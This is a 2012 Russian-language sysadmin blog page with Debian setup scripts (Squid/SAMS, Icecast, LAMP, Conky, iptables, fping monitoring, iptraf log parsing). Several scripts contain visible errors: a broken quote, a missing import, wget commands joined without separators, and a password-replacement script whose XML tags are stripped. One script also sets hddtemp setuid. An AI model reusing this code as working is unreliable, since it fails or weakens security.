Поиск по этому блогу

среда, 14 ноября 2012 г.

Windows 8 .Net Framework 3.5 установка

Не так давно установил Windows 8, но позже заметил, что приложения которые поддерживают .Net Framework 3.5 не устанавливаются. Но решение оказалось простым необходимо вставить инсталляционный диск и ...

воскресенье, 21 октября 2012 г.

Не устанавливается сетевая карта

Возникла проблема с сетевой картой, желтый восклицательный знак на устройстве никак не хотел поддаться настойчивости с моей стороны. Но погуглив некоторое время и облазив форумы нашел решение. Если у вас не устанавливается сетевая карта, то прошу статью)

Адаптивная верстка это не сложно

Не так давно решил понять смысл адаптивной верстки, но чтобы мне понять пришлось потратить некоторое количество времени. Но поняв ее решил поделиться с вами своими наблюдениями. Адаптивная верстка это не так сложно как кажется с первого взгляда

Горизонтальное выравнивание DIV блоков

Есть два варианта выровнять DIV блоки по горизонтали. Это через display: inline-block; либо второй вариант через float: left/right; Вот второй вариант выравнивания DIV блоков по горизонтали. Если есть какая либо критика в мою сторону я всегда готов ее выслушать))

понедельник, 17 сентября 2012 г.

Нагрузочное тестирование сайта

Нагрузочное тестирование сайта.  Для этого используется инструмент apache Jmeter. Думаю она вам будет полезна в интернете найти что полезное не смог, решил написать свою статью

Как выровнить блоки DIV по горизонтали

И так как можно выровнить DIV блоки по горинтали при помощи CSS. Решение довольно не плохое поэтому представляю вашему вниманию, как сделал это я. Выравнивание DIV блоков по горизонтали.

Построение сайтов, виды сайтов (верстка часть 2)

И так в первой части я объяснял как собрать html каркас, чтобы его было сверстать легче. Правильно собранные html документ уже пол дела. Поэтому остается только его правильно сверстать используя CSS.

Построение сайтов, виды сайтов (верстка часть 1)

Существует множество способов как построить сайт. А точнее собрать правильный каркас и сверстать. Мой вариант построение html документа.

Установка virtualbox на windows 64

Как установить virtualbox на 64 битную ОС Windows. Привел свой метод который открыл для себя не так давно.

Установка Openfire Debian

Локальный мессенджер сервер. Была поставлена задача установить локальный jabber сервер. Как установить локальный jabber сервер, а точнее как установить openfire.

Удаленный запуск ssh

Если вам необходимо удаленно установить какую либо программу через ssh, то это не проблема ибо ssh поддерживает графическую установку программ. Думаю она вам поможет.

Локальное обновление Debian

Я думаю все кто использует Linux систему знает об обновлении с зеркал. Я очень часто экспериментирую на своей машине разные вкусности и поэтому очень часто приходится переустанавливать. Поэтому решив упростить себе же свою задачу создав локальный репозиторий. В данной статье вы узнаете как можно сделать свой локальный репозиторий.

Установка Zenoss Debian

Перечитав множество статей в интернете по установке Zenoss решил написать свою статью по установке Zenoss на Debian ОС. Также в статье описывается как установить LAMP сервер.

Скрипт Python - установка squid

Ручная установка и настройка прокси сервера Squid дело занимательное, но немного подумав решил написать для такого дела скрипт по установке и настройки squid. Которая помогла значительно с экономить время.

вторник, 17 апреля 2012 г.

Squid настройка фильтров, правил -один сетевой интерфейс

Постом ниже я писал о том что как можно подключить прокси сервер SQUID и настроить его на прозрачность(transparent). Ранее я использовал два сетевых интерфейса. Но что делать если у нас все один сетевой интерфейс?! не беда решение как всегда есть

Python скрипт - узнать IP домена

Не так давно начил изучать питон и соотвественно нет ничего лучше практики принялся писать скрипты. Одни из них помогает узнать IP адрес домена по его названию. Конечно есть проще способ это обычный ICMP запрос простонароде ping, но может кому нибудь пригодиться
Читать дальше

пятница, 13 апреля 2012 г.

Правило запрета в squid

И так стоит задача запретить скачивать с интернета, лазить по порно сайтам, блокировать определенный веб ресурсы и обрезать рекламу най сайтах. Выйгрышь в экономии трафика плюс быстрая загрузка веб страниц. Читать дальше....

вторник, 10 апреля 2012 г.

Transparent Squid

Замучились бегать от узла к узлу и прописывать ипе сервера и порт?! 
Конечно если это сделано для малого штата узлов то это не проблема, но когда их свыше 20 или более, то начинаешь задумываться, А ЗАЧЕМ Я ВООБЩЕ ПОДНИМАЛ ЭТОТ ДОЛБАННЫЙ ПРОКСИ СЕРВЕР?! не печалься друг мой есть простое решение и оно здесь.

Не могу сбросить пароль на Mysql

Если вы забыли пароль на вход от БД Mysql, то вам поможет скрипт по сбрасыванию пароля

Установка и настройка локального jabber сервера

И так поставили задачу по наятройке локального jabber сервера при ипользовании продукта opensource. Проблема была решена при помощи готового пакета openfire. Подробности читаем тут

понедельник, 2 апреля 2012 г.

Установка PPPoE сервера на Linux

И так есть задача в поднятии PPPoE сервера на ОС Linux.
Есть две сетевые карты свитч и сама локалка ну и множество машин.
Так вот начнем мы поднятие PPPoE сервера на Debian с:

среда, 28 марта 2012 г.

Скрипт пинговалки на основе fping

Стоит задача упростить жизнь сотрудников отдела наблюдающего за состоянием сети. Для этого создадим небольшой bash-скрипт, кладем его в любую директорию, даем права на исполнение, загоняем в crontab, наслаждаемся получаемыми письмами на корпоративную почту.
0) установим fping sudo apt-get install fping 
1) переходим в нужный раздел cd /adm 
2) создаем пустой файл touch ping.sh 
3) редактируем его nano ping.sh 
4) копируем, вставляем и сохраняем текст срипта:
#!/bin/bash
HOSTS="mail.ru google.com ya.ru twitter.com youtube.com facebook.com yahoo.com wikipedia.org linkedin.com bbc.co.uk kernel.org opennet.ru habrahabr.ru"
COUNT=100
for myHost in $HOSTS
do
fping -c $COUNT -q -n $myHost >> pinga.sh.log 2>&1
done
while read SITE A CAP1 B PERCENT CAP2 C DELAY; do
printf '%20s %c %s %c %15s %s %c %20s\n' "$SITE" "$A" "$CAP1" "$B" "$PERCENT" "$CAP2" "$C" "$DELAY"
done < pinga.sh.log | sort  > pingb.sh.log
SUBJECT="ping - world hosts"
EMAIL="support@domain.ru"
EMAILMESSAGE="pingb.sh.log"
/usr/bin/mail -s "$SUBJECT" $EMAIL < $EMAILMESSAGE
cat $EMAILMESSAGE
rm pinga.sh.log pingb.sh.log
5) даем права на исполнение файлу chmod +x ping.sh
6) добавляем задачу в crontab nano /etc/crontab */15 * * * * root /adm/ping.sh 1>/dev/null скрипт будет отрабатывать каждые 15 минут и слать на почту отчеты.

Original Link

воскресенье, 25 марта 2012 г.

Скрипт bash: две локалки или интернет через вторую локальную сеть на Debian

      И так как то я объяснял уже один раз, как можно на сервере поднять свою подсеть описание было тут.
     Задача есть сервер поднятый на Debian squeeze на которо установлено две сетевые карты это
eth0 и eth1
eth0 - сетевой адресс 192.168.5.75 шлюз 192.168.5.1 подается интернет от свитча.
eth1 - сетевая карта подключенная в другой свитч или хаб, где нужна мне первая подсеть 192.168.1.0/24
     К чему все это?! А для того чтобы можно было подключать другие узлы и непосредственно не просить все время админа добавлять в white list локальный ипе(задолбало уже).
Так вот появился скрипт на bash который нужно впихнуть в путь /etc/init.d/
Приступим создадим файл с громким названием iptables содержащий код:

#! /bin/bash
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -F
iptables -t nat -F
#iptables -t mangle -F
#iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -d ! 192.168.1.0/8 -j SNAT --to-source 10.10.10.6
 
############acl############
#LAN_NET=192.168.0.1/24
#WAN_IP=10.10.10.5
############nat##################
#iptables -t nat -A POSTROUTING -s $LAN_NET ! -d $LAN_NET -j SNAT --to-source $WAN_IP
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
 
#secure ssh
iptables -A INPUT -p tcp --dport 22 -s 10.10.10.0 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -s 192.168.5.75  -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP
Поясню скрипт, а именно пункт ssh, где 10.10.10.0,192.168.5.75 с этих ипе доступ по ssh разрешен другим закрыт На закомментированные строки можете не обращать внимания вообще, это свои заметки для себя же и так сам скрипт будет конечный таков:
#! /bin/bash
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -F
iptables -t nat -F
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
#secure ssh
iptables -A INPUT -p tcp --dport 22 -s 10.10.10.0 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -s 192.168.5.75  -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP
И так конечный результат таков, через пятую подсеть интернет проходит на первую чуть не забыл не забудьте скрипт сделать исполняемым, а именно #chmod +x /etc/init.d/iptables либо путь, где лежит сам файл #chmod +x /путь/путь

среда, 21 марта 2012 г.

Скрипт по сборке трафика с сетевой карты Debian squeeze

И так решил написать скрипт по сборке трафика с сетевой карты я пока на стадии разработке решил что будет всего 5-6 скрипт файлов первый из них
inst_ip.py
#!/usr/bin/env python
#-*- coding: utf-8 -*-

import os
from os.path import isfile

checks= isfile("/usr/lib/iptraf")
if not checks:
    x=raw_input("Вы еще не установили прогу хотите установить ее? Y or N: ")
    if x in ['Y', 'y']:
        os.system("apt-get install iptraf")
        os.system("apt-get install netaddr")
        print "\033[1;32mПакет успешно установлен!\033[1;m"
    else:
        print "\033[1;32mЛибо вы прервали установку выбрав N либо вы индус\033[1;m"

Второй скрипт название run_ip.py который нужно добавить в cron либо запускать в ручную от рута
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import os
ethernet=raw_input("Введите сетевую карту Например eth0: ")
os.system("iptraf -i %s -L logi" % ethernet)

Третий скрипт get_ip.py который будет снимать логи за последние например пять минут и преобразует в читабельный вид для арифметических действий
#!/usr/bin/env python
#-*- coding: utf-8 -*-

import re
from datetime import datetime, timedelta
#при помощи условия уберем пробелы в первоначальном логе
a=open('/var/log/iptraf/logi')
b=open('/var/log/iptraf/logs', 'w')
for line in a:
    stripped = line.strip()
    if not stripped:
        continue
    else:
        b.write(line)
#Теперь же снимем логи т.е цифры 
timestamp = datetime.now() - timedelta(minutes=5)#от текущего времени отнимем задаваемое время в минутах

# лямбда выбирает первые 24 символа (длина даты в формате ANSI C),
# парсит дату и возвращает результат сравнения ее с timestamp
# по-хорошему, вместо %с, нужно задавать формат даты явно
is_new = lambda line: datetime.strptime(line[:24],'%c') > timestamp
#С открытого файла считываем логи и срезаем их до 24 символов и сохраняем в др лог
with open('/var/log/iptraf/logs', 'r') as input:
    with open('/var/log/iptraf/logg', 'w') as output:

        # фильтрация только новых записей
        for line in filter(is_new, input):
            output.write(line)

#считваем данные с  logs и выбираем только сам трафик           
data = open('/var/log/iptraf/logg','r')
output = open('/var/log/iptraf/logo', 'w')

for line in data:  # For each line
    match = re.findall("(\d+ bytes)", line)  # Find all strings matching "number bytes"
    for result in match:
        output.write("%s\n" % match)  # save each result to output file
# Remember to close the files
output.close()
data.close()
Четвертый скрипт sumlog_ip.py который будет снимать логи за последние например пять минут и преобразует в читабельный вид для арифметических действий
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import re

c=open("/var/log/iptraf/logo")
v=open ("/var/log/iptraf/sumlog","w")
#Отбросим все не нужное оставить только цифры
for line in c:
    match = re.findall("(\d+\d)", line)
    v.write("%s\n" % match)
c.close()
v.close()
Пятый скрипт сама арифметика назовем его arifm_ip.py
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import re
#Теперь сама математика
x=open("/var/log/iptraf/sumlog")
#q=open("/var/log/iptraf/last","w") #ответ можно вывести в другой файл

txt=x.read()
mas = re.findall('\d+', txt)
xx=sum([int(m) for m in mas])# Суммируем данные чтобы предоставить в читабельном виде

print 'За 5 мин вы прожгли: %.2f МБ' %(xx/1024/1024)
#q.write(str(xx))
x.close()
Original article

вторник, 13 марта 2012 г.

Скрипт на python по замене нескольких строк.

     И так не хотел переделывать уже ранее написанные скрипты, но появилась одна весчь которая будет очень полезна в будущем. Так вот если нам необходимо заменить несколько строк в файле,то ранее я это делал через несколько функций и при этом код увеличивался. Поэтому был найден более оптимальный вариант так вот есть файл: /etc/icecast2/icecast.xml в нем надо изменить пароль '123' на желаемый.
..............................
    
        123
        123
        admin
        123
    
.............................
Теперь сам исходник:
 

#!/usr/bin/env python
#-*- coding: utf-8 -*-

import re
line_q=raw_input("Password ") #here we give new password
c =  open("/home/nosensus/trash/icecast.xml", 'r') #path to original file
data = c.read()
c.close()
for tag in ['source', 'relay']:
    sub_str = "%s".format(tag)
    data = re.sub(sub_str % '123', sub_str % line_q, data)
    sub_str = "%s".format(tag)
    data = re.sub(sub_str % '123', sub_str % line_q, data)
    sub_str = "%s".format(tag)
    data = re.sub(sub_str % '123', sub_str % line_q, data)
 
c = open("/home/nosensus/trash/icecast.xml" + '.new', 'w') #path to save new file
c.write(data)
c.close()

воскресенье, 11 марта 2012 г.

Скрипт Icecast2 сервер радио вещания на Debian

       И так решил написать скрипт для поднятия сервера радио вещания icecast.
И так решил написать скрипт для поднятия сервера радио вещания icecast.
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import os,sys,re
x=raw_input ("if you really want to install RADIO-VIDEO server choose Y or N > ")
if x in ['y', 'Y']:
    os.system("apt-get install libshout-dev -y && apt-get install libmp3lame-dev -y && apt-get install libxml2-dev -y")
    os.system("apt-get install libjavacc-maven-plugin-java -y")
    os.system("apt-get install jtb -y && apt-get install javacc-doc -y && apt-get install g++ -y")
    os.system("apt-get install gpp -y && apt-get install partimage-doc -y  && apt-get install vacation -y")
    os.system("apt-get install clisp -y && apt-get install clisp-dev -y")
    os.system("apt-get install clisp-doc -y && apt-get install partimage -y")
    os.system("apt-get install fldiff -y && apt-get install gawk -y && apt-get install perl -y")
    os.system("apt-get install python-cxx -y && apt-get install python-cxx-dev -y")
else:
    print "Connection LOST"
#Downloading and installing ices
pathh = raw_input("Enter full path where U want save file, example /home/user/Downloads/ -> ")
url = "http://downloads.us.xiph.org/releases/ices/ices-0.4.tar.gz"
wget = "wget -c " + url + " -P " + pathh
try:
    os.system(wget)
except:
    print "Connection refused"
    sys.exit()
os.system("cd " + pathh + " && tar -zxvf ices-0.4.tar.gz -C " +pathh)
os.system("cd " + pathh + "ices-0.4" + " && ./configure")
os.system("cd " + pathh + "ices-0.4" +" && make")
os.system("cd " + pathh + "ices-0.4" +" && make install")
os.system("apt-get install icecast2 -y")
#let's configure ices config
x=raw_input ("enter password for access to admin panel ices -> ")
def ices2():
    changedir=open(pathh + "icecast3.xml", "w")
    data=open("/etc/icecast2/icecast.xml").read()
    changedir.write(re.sub("hackme","%s" % x,data))
    changedir.close()
ices2()
def ices1():
    changedir1=open(pathh + "icecast2.xml", "w")
    data=open(pathh + "icecast3.xml").read()
    changedir1.write(re.sub("hackme", "%s" % x,data))
    changedir1.close()
    os.remove(pathh + "icecast3.xml")
ices1()
def ices():
    changedir2=open("/etc/icecast2/icecast.xml", "w")
    data=open(pathh + "icecast2.xml").read()
    changedir2.write(re.sub("hackme","%s" % x,data))
    changedir2.close()
    os.remove(pathh + "icecast2.xml")
ices()
def icecast():
    file1=open(pathh + "icecast2_1", "w")
    data=open("/etc/default/icecast2").read()
    file1.write(re.sub("ENABLE=false","ENABLE=true",data))
    file1.close()
icecast()
def icecast1():
    file3=open("/etc/default/icecast2", "w")
    data=open(pathh + "icecast2_1").read()
    file3.write(re.sub("","",data))
    file3.close()
    os.remove(pathh + "icecast2_1")
icecast1()
os.system("/etc/init.d/icecast2 start")
os.system ("cp -r /usr/local/etc/ices.conf.dist /usr/local/etc/ices.conf")
#here we change config ices
hostname=raw_input("enter your localhost or IP address server-> ")
def ch1():
    po=open (pathh + "ices1.conf","w")
    data=open("/usr/local/etc/ices.conf").read()
    po.write(re.sub("localhost","%s" %hostname, data))
    po.close()
ch1()
def ch2():
    po1=open (pathh + "ices2.conf","w")
    data=open(pathh + "ices1.conf").read()
    po1.write(re.sub("letmein","%s" %x, data))
    po1.close()
    os.remove(pathh + "ices1.conf")
ch2()
def ch3():
    po2=open ("/usr/local/etc/ices.conf","w")
    data=open(pathh + "ices2.conf").read()
    po2.write(re.sub("http://localhost/","http://%s/" %hostname, data))
    po2.close()
    os.remove(pathh + "ices2.conf")
ch3()
#now we crate folder where we can download mp3 files
os.system("mkdir /home/radio")
sd=raw_input("U must download mp3 files in /home/radio directory, and after that choose Y and press enter-> ")
if sd in ['y','Y']:
    os.system("cd /home/radio/"+ " && ls > playlist.txt")
else:
    print "try it again later"
os.system ("ices -c /usr/local/etc/ices.conf")
print "Now try enter this url in browser http://localhost:8000/radio"

пятница, 9 марта 2012 г.

Squid + Sams script on Debian squeeze i686-32bit

    И так второй вариант установить Sams+ Squid на 32 рязрядную ОС Debian Squeeze
Тут я использовал пакеты sams для 5 дистрибутива Debian Lenny, но тут, вы можете качнуть и для squeeze дистрибутива но можно и вручную поставить. И так сам скрипт:
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import os, sys, re, MySQLdb
#Download libmysqlclient15off package
pathh=raw_input("Enter your home path expl: '/home/user/'-> ")
path_dir = pathh + "Downloads/"
url = "http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.51a-3ubuntu5.8_amd64.deb"
wget = "wget -c " + url + " -P " + path_dir
try:
    os.system(wget)
except:
    print "Connection Error"
    sys.exit()
#and now we are going to install it
os.system("dpkg -i " + path_dir + "http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.51a-3ubuntu5.8_i386.deb")
os.system("apt-get -f install ")
#install need packages
os.system("apt-get install apache2 -y && apt-get install apache2-mpm-prefork -y") 
os.system("apt-get install libapache2-mod-php5 -y && apt-get install php5-cgi -y")
os.system("apt-get install php5-common -y && apt-get install php5-mysql -y")  
os.system("apt-get install mysql-server -y && apt-get install mysql-client -y") 
os.system("apt-get install squid -y && apt-get install libpcre3 -y") 
os.system("apt-get install php5-gd -y && apt-get install libpcre3-dev -y") 
os.system("apt-get install libmysqlclient15-dev -y && apt-get install gcc -y") 
os.system("apt-get install make -y && apt-get install squidguard -y")
os.system("apt-get install python-mysqldb -y && apt-get install php5-ldap -y")

#We'll change some arguments in /etc/php5/apache2/php.ini
def cha1():
    o = open(path_dir + "php2.ini","w")
    data = open("/etc/php5/apache2/php.ini").read()
    o.write(re.sub("safe_mode = Off","safe_mode = On",data)  )
    o.close()
cha1()

def cha2():
    o1 = open(path_dir +"php1.ini","w")
    data1 = open(path_dir + "php2.ini").read()
    o1.write(re.sub('safe_mode_exec_dir =','safe_mode_exec_dir = "/usr/share/sams/bin"',data1)  )
    o1.close()
    os.remove(path_dir + "php2.ini")
cha2()

def cha3():
    o2 = open("/etc/php5/apache2/php.ini","w")
    data2 = open(path_dir + "php1.ini").read()
    o2.write(re.sub("disable_functions =", 'disable_functions = "chdir,dl,ini_get_all,popen,proc_open,passthru,pcntl_exec"',data2))
    o2.close()
    os.remove(path_dir + "php1.ini")
cha3()

#Let's download and install sams for Debian SQUEEZE
link1="http://nixdev.net/release/sams/debian/lenny/sams-doc_1.0.5_all.deb"
link2="http://nixdev.net/release/sams/debian/lenny/sams-web_1.0.5_all.deb"
link3="http://nixdev.net/release/sams/debian/lenny/sams_1.0.5_i386.deb"
wget1= ("wget " + link1 + " -P " + path_dir)
wget2= ("wget " + link2 + " -P " + path_dir)
wget3= ("wget " + link3 + " -P " + path_dir)
try:
    os.system(wget1 + wget2 + wget3)
except:
    print "Connection error or can't connect to server"
    sys.exit()

os.system("dpkg -i " + path_dir + "sams_1.0.5_i386.deb")
os.system("dpkg -i " + path_dir + "sams_1.0.5_i386.deb")

def cha4():
    o4=open(path_dir + "sams","w")
    data4=open("/etc/init.d/sams").read()
    o4.write(re.sub("SAMS_ENABLE=false","SAMS_ENABLE=true",data4))
    o4.close()
cha4()

def cha5():
    o5=open("/etc/init.d/sams","w")
    data5=open(path_dir + "sams").read()
    o5.write(re.sub("","",data5))
    o5.close()
    os.remove(path_dir + "sams")
cha5()

os.system("dpkg -i " + path_dir + "sams-web_1.0.5_all.deb")
os.system("dpkg -i " + path_dir + "sams-doc_1.0.5_all.deb")
os.system("apt-get -f install ")

#connect to mysql bd
user=raw_input('Mysql username -> ')
password=raw_input('Mysql password -> ')
db=MySQLdb.Connect(host="localhost", user=user, passwd=password)
cursor=db.cursor()
pass_sams=raw_input("chose password for sams user -> ")
cursor.execute('GRANT ALL ON squidctrl.* TO sams@localhost IDENTIFIED BY "%s";' % pass_sams)
cursor.execute('GRANT ALL ON squidlog.* TO sams@localhost IDENTIFIED BY "%s";' % pass_sams)
cursor.close()

#Here we change config sams
def sa():
    sd=open(path_dir + "sams1.conf", "w")
    data =open("/etc/sams.conf").read()
    sd.write(re.sub("MYSQLPASSWORD=samspasswd","MYSQLPASSWORD= %s" % pass_sams,data))
    sd.close()
sa()

def sa1():
    sd1=open("/etc/sams.conf", "w")
    data =open(path_dir + "sams1.conf").read()
    sd1.write(re.sub("","",data))
    sd1.close()
    os.remove(path_dir + "sams1.conf")
sa1()

os.system("cd /usr/share/sams/mysql " "&& mysql -u root -p < sams_db.sql")
os.system("cd /usr/share/sams/mysql " "&& mysql -u root -p < squid_db.sql")
#Here we change two configs webconfigtray.php and configtray.php
print """ Find this tag and comment all lines such like down do the same operation in 
webconfigtray.php and configtray.php

#function GetHostName()
#{
#  if(!($value=getenv('SERVER_NAME')))
#     {  $value="N.A."; }
#  return($value);
#}
"""
za=raw_input("If it's clear choose Y > ")
if za in ['y', 'Y']:
    os.system("nano /usr/share/sams/src/webconfigtray.php")
    os.system("nano /usr/share/sams/src/configtray.php")
else:
    print "you choose wrong way"

Поиск и замена определенной строки в файле на Python

      И так если вам необходимо в файле найти определенную строку и заменить ее на нужную и при этом резлуьтат сохранить в другой файл, то вот скрипт который поможет
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import re
output_file = open("output_place","w")
data = open("original_file").read()
output_file.write( re.sub("need_string","replace_string",data)  )
output_file.close()

среда, 7 марта 2012 г.

Squid + Sams script on Debian squeeze amd64

И так скрипт на тему установка Sams+Squid на debian squeeze, где использовал пакеты sams debian lenny не забываем запускать скрипт от имени root. Также есть и ручной вариант установки
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import os, sys, re
#Download libmysqlclient15off package
pathh=raw_input("Enter your home path expl: '/home/user/'-> ")
path_dir = pathh + "Downloads/"
url = "http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.51a-3ubuntu5.8_amd64.deb"
wget = "wget -c " + url + " -P " + path_dir
try:
    os.system(wget)
except:
    print "Connection Error"
    sys.exit()
#and now we are going to install it
os.system("dpkg -i " + path_dir + "libmysqlclient15off_5.0.51a-3ubuntu5.8_amd64.deb")
os.system("apt-get -f install ")
#install need packages
os.system("apt-get install apache2 -y && apt-get install apache2-mpm-prefork -y") 
os.system("apt-get install libapache2-mod-php5 -y && apt-get install php5-cgi -y") 
os.system("apt-get install php5-common -y && apt-get install php5-mysql -y")  
os.system("apt-get install mysql-server -y && apt-get install mysql-client -y") 
os.system("apt-get install squid -y && apt-get install libpcre3 -y") 
os.system("apt-get install php5-gd -y && apt-get install libpcre3-dev -y") 
os.system("apt-get install libmysqlclient15-dev -y && apt-get install gcc -y") 
os.system("apt-get install make -y && apt-get install squidguard -y")
os.system("apt-get install python-mysqldb -y && apt-get install php5-ldap -y")
os.system("apt-get install python-mysqldb -y")
#We'll change some arguments in /etc/php5/apache2/php.ini
def cha1():
    o = open(path_dir + "php2.ini","w")
    data = open("/etc/php5/apache2/php.ini").read()
    o.write(re.sub("safe_mode = Off","safe_mode = On",data)  )
    o.close()
cha1()

def cha2():
    o1 = open(path_dir +"php1.ini","w")
    data1 = open(path_dir + "php2.ini").read()
    o1.write(re.sub('safe_mode_exec_dir =','safe_mode_exec_dir = "/usr/share/sams/bin"',data1)  )
    o1.close()
    os.remove(path_dir + "php2.ini")
cha2()

def cha3():
    o2 = open("/etc/php5/apache2/php.ini","w")
    data2 = open(path_dir + "php1.ini").read()
    o2.write(re.sub("disable_functions =", 'disable_functions = "chdir,dl,ini_get_all,popen,proc_open,passthru,pcntl_exec"',data2))
    o2.close()
    os.remove(path_dir + "php1.ini")
cha3()

#Let's download and install sams for Debian SQUEEZE
link1="http://nixdev.net/release/sams/debian/lenny/sams-doc_1.0.5_all.deb"
link2="http://nixdev.net/release/sams/debian/lenny/sams-web_1.0.5_all.deb"
link3="http://nixdev.net/release/sams/debian/lenny/sams_1.0.5_amd64.deb"
wget1= ("wget " + link1 + " -P " + path_dir)
wget2= ("wget " + link2 + " -P " + path_dir)
wget3= ("wget " + link3 + " -P " + path_dir)
try:
    os.system(wget1 + wget2 + wget3)
except:
    print "Connection error or can't connect to server"
    sys.exit()

os.system("dpkg -i " + path_dir + "sams_1.0.5_amd64.deb")
os.system("dpkg -i " + path_dir + "sams_1.0.5_amd64.deb")

def cha4():
    o4=open(path_dir + "sams,"w")
    data4=open("/etc/init.d/sams").read()
    o4.write(re.sub("SAMS_ENABLE=false","SAMS_ENABLE=true",data4))
    o4.close()
cha4()


def cha5():
    o5=open("/etc/init.d/sams","w")
    data5=open(path_dir + "sams").read()
    o5.write(re.sub("","",data5))
    o5.close()
    os.remove(path_dir + "sams")
cha5()

os.system("dpkg -i " + path_dir + "sams-web_1.0.5_all.deb")
os.system("dpkg -i " + path_dir + "sams-doc_1.0.5_all.deb")
os.system("apt-get -f install ")


#connect to mysql bd
user=raw_input('Mysql username -> ')
password=raw_input('Mysql password -> ')
db=MySQLdb.Connect(host="localhost", user=user, passwd=password)
cursor=db.cursor()
pass_sams=raw_input("chose password for sams user -> ")
cursor.execute('GRANT ALL ON squidctrl.* TO sams@localhost IDENTIFIED BY "%s";' % pass_sams)
cursor.execute('GRANT ALL ON squidlog.* TO sams@localhost IDENTIFIED BY "%s";' % pass_sams)
cursor.close()

#Here we change config sams
def sa():
    sd=open(path_dir + "sams1.conf", "w")
    data =open("/etc/sams.conf").read()
    sd.write(re.sub("MYSQLPASSWORD=samspasswd","MYSQLPASSWORD= %s" % pass_sams,data))
    sd.close()
sa()

def sa1():
    sd1=open("/etc/sams.conf", "w")
    data =open(path_dir + "sams1.conf").read()
    sd1.write(re.sub("","",data))
    sd1.close()
    os.remove(path_dir + "sams1.conf")
sa1()

os.system("cd /usr/share/sams/mysql " "&& mysql -u root -p < sams_db.sql")
os.system("cd /usr/share/sams/mysql " "&& mysql -u root -p < squid_db.sql")

#Here we change two configs webconfigtray.php and configtray.php
print """ Find this tag and comment all lines such like down do the same operation in
webconfigtray.php and configtray.php

#function GetHostName()
#{
#  if(!($value=getenv('SERVER_NAME')))
#     {  $value="N.A."; }
#  return($value);
#}
"""
za=raw_input("If it's clear choose Y > ")
if za in ['y', 'Y']:
    os.system("nano /usr/share/sams/src/webconfigtray.php")
    os.system("nano /usr/share/sams/src/configtray.php")
else:
    print "you choose wrong way"

Conky скрипт для Debian squeeze

И так по причине того, что мне часто приходится перевешивать ОС по определенным причинам, то я активно использую conky утилиту, ибо она мне помогает контроливароть свой узел. Недавно начав изучать питон решил упростить себе задачу и так представляю вам третье творение. Не забываем запустить скрипт от имени root
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import os
import sys

os.system("apt-get install python-statgrab && apt-get install hddtemp && apt-get install curl  && apt-get install lm-sensors && apt-get install conky-all")
os.system("chmod u+s /usr/sbin/hddtemp")
os.system("sensors-detect")

#download file conky
pathh=raw_input("Enter your home path expl: '/home/user/'-> ")
path_dir = pathh + "Downloads"
url='http://www.deviantart.com/download/244793180/conky_colors_by_helmuthdu-d41qrmk.zip'
wget= "wget -c " + url + " -P " + path_dir
try:
    os.system(wget)
except:
    print "Connection Error"
    sys.exit()
    
#unzip file
os.system("apt-get install unzip")
pa="conky_colors_by_helmuthdu-d41qrmk.zip"
unziping = "unzip " + path_dir + pa + " -d "+ path_dir
os.system(unziping)

#install
os.system("apt-get install make")
os.system("apt-get install gcc")
putt=path_dir + "conky_colors/"
os.system("make -C " + putt)
os.system("make install -C "+ putt)
os.system(putt + """conky-colors --lang=ru --theme=brave --cpu=2 --cputemp --swap --updates --proc=5 --clock=modern --calendar --hd=meerkat --hdtemp1=/dev/sda --network --gnome""")
os.system("fc-cache -v -f")

#copy to home in Debian
os.system("cp -r /root/.conkycolors/ %s" % pathh)

#rebooting PC
doo=raw_input("Do U want reboot your PC now? Y or N ->")
if doo in ['Y','y']:
    os.system("reboot")
else:
    print "U choose N=No or pressed another button"
После этого добавляем в автозагрузку путь в System-Preferences-Start Application
conky -c /home/nosensus/.conkycolors/conkyrc

понедельник, 5 марта 2012 г.

Скрипт установки LAMP сервера на Debian squeeze

И так мне иногда приходиться очень даже часто переустанавливать Linux, и постоянная настройка сервера LAMP отнимает время. Поэтому решил написать скрипт на питоне довольно примитивный, но рабочий. Решил поделиться может кому в хозяйстве пригодиться название скрипта у меня lamp.py
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import os
from os.path import isfile
os.system("clear")
y=isfile("/usr/sbin/apache2" and "/usr/bin/php5" and "/usr/bin/mysql")
if y == 1:
    print "Every packages installed yet"
    
elif y==0:
    x = raw_input("Choose Y or N > ")
    if x in ['Y','y']:
        os.system("apt-get update")
        os.system("apt-get install mysql-server -y && apt-get install mysql-client -y")
        os.system("apt-get install apache2 -y && apt-get install php5 -y")
        os.system("apt-get install libapache2-mod-php5 -y && apt-get install php5-xsl -y && apt-get install php5-json -y")
        os.system("apt-get install php5-mysql -y && apt-get install php5-curl -y && apt-get install php5-gd -y")
        os.system("apt-get install php5-idn -y && apt-get install php-pear -y && apt-get install php5-imagick -y")
        os.system("apt-get install php5-imap -y && apt-get install php5-mcrypt -y  && apt-get install php5-memcache -y")
        os.system("apt-get install php5-mhash -y && apt-get install php5-ming -y && apt-get install php5-ps -y")
        os.system("apt-get install php5-pspell -y &&  apt-get install php5-recode -y && apt-get install php5-snmp -y")
        os.system("apt-get install php5-sqlite -y && apt-get install php5-tidy -y && apt-get install php5-xmlrpc -y")
        os.system("apt-get install phpmyadmin -y")
        os.system("/etc/init.d/apache2 restart")
        print "Well done my congratulations"
    else:
        print "something wrong or you put N=NO"
else:        
    print "some of packages not installed, you must install it"

воскресенье, 4 марта 2012 г.

Диагностика установленного оборудования на Debian

